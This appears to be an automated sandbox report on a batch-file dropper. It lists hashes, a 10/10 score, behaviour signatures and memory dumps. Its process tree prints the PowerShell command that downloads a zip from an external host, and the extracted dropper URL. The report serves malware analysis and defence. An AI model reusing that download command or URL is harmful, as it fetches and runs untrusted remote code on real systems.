3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
118s
max time network
130s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06-11-2023 23:24

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General

Target

tesy - Copy (7).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2948	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2948	powershell.exe
2664	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2120 wrote to memory of 2948	2120	cmd.exe	28
PID 2120 wrote to memory of 2948	2120	cmd.exe	28
PID 2120 wrote to memory of 2948	2120	cmd.exe	28
PID 2120 wrote to memory of 2664	2120	cmd.exe	29
PID 2120 wrote to memory of 2664	2120	cmd.exe	29
PID 2120 wrote to memory of 2664	2120	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2664

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1a694cda296e9d06ba1c576be589aa6e

SHA1
fd6ffb342529f7a18a4f8d086bfded22015be7dd

SHA256
c5ad9537b8c656bd8997e3bb17c21e06129ba38964ce19341fa8ad1190e7accb

SHA512
9797fbd2820643014fc5dae9a57585b967197be269a2d1e95e588e402fe78488ef8fc7db268bb3a1179e767c21ed2f7c0025d805f64dee0f7e52f7609e555138

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YYDGEBORV63OCG8UQ4EA.temp

Filesize
7KB

MD5
1a694cda296e9d06ba1c576be589aa6e

SHA1
fd6ffb342529f7a18a4f8d086bfded22015be7dd

SHA256
c5ad9537b8c656bd8997e3bb17c21e06129ba38964ce19341fa8ad1190e7accb

SHA512
9797fbd2820643014fc5dae9a57585b967197be269a2d1e95e588e402fe78488ef8fc7db268bb3a1179e767c21ed2f7c0025d805f64dee0f7e52f7609e555138

Download Submit
memory/2664-26-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-25-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2664-24-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2664-23-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2664-22-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-21-0x0000000002560000-0x0000000002568000-memory.dmp

Filesize
32KB

Download
memory/2664-20-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-19-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2948-8-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/2948-13-0x000007FEF6190000-0x000007FEF6B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2948-11-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/2948-10-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/2948-9-0x000007FEF6190000-0x000007FEF6B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2948-5-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2948-6-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/2948-7-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2948-4-0x000007FEF6190000-0x000007FEF6B2D000-memory.dmp

Filesize
9.6MB

Download